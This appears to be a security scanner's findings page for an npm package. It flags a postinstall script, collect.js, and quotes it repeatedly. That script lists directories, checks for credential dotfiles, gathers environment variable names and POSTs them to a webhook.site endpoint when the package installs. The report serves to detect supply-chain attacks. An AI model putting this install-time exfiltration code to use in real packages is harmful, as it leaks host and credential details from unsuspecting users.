1// SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err
CriticalHardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
collect.jsView on unpkg · L1 1Trigger-reachable chain: scripts.postinstall -> collect.js
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys
CriticalTrigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
collect.jsView on unpkg · L1 6try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
HighChild Process
Package source references child process execution.
collect.jsView on unpkg · L6 1// SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err = String(e).slice(0,120); }
HighSame File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
collect.jsView on unpkg · L1 1// SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
L4: let meta = { marker: 'r17d-victim-vm', repo: 'npm[redacted]', ts: new Date().toISOString() };
L5: try { meta.whoami = os.userInfo().username; meta.kernel = os.release(); } catch (e) {}
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L10: meta.dotfiles = ['.npmrc','.gitconfig','.novus','.config/gh'].map(p => p + '=' + (fs.existsSync(h + '/' + p) ? 'present' : 'absent')).join(' ');
L11: meta.envNames = Object.keys(process.env).sort().join(',');
L12: } catch (e) { meta.err
HighHost Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
collect.jsView on unpkg · L1 1// SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L13: const data = JSON.stringify(meta);
L14: const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
L15: req.on('error', e => process.stdout.write('beat-err:' + e.code));
HighCommand Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
collect.jsView on unpkg · L1 1Trigger-reachable command-output exfiltration chain: scripts.postinstall -> collect.js
L1: // SECURITY RESEARCH POC (labeled) - metadata only, no secret values collected
L2: const https = require('https');
L3: const os = require('os'); const fs = require('fs');
...
L6: try {
L7: meta.homeLs = require('child_process').execSync('ls -A ~ 2>&1 | head -25').toString();
L8: meta.cwdLs = require('child_process').execSync('ls -A . 2>&1 | head -15').toString();
...
L13: const data = JSON.stringify(meta);
L14: const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
L15: req.on('error', e => process.stdout.write('beat-err:' + e.code));
HighTrigger Reachable Command Output Exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
collect.jsView on unpkg · L1 •Trigger-reachable fixed external POST callback chain: scripts.postinstall -> collect.js
const https = require('https');
const data = JSON.stringify(meta);
const req = https.request({ hostname: 'webhook.site', path: '/f18b2445-73d1-478a-9d3f-1cb21a407c61', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length'...
req.on('error', e => process.stdout.write('beat-err:' + e.code));
HighTrigger Reachable External Post Callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
collect.jsView on unpkg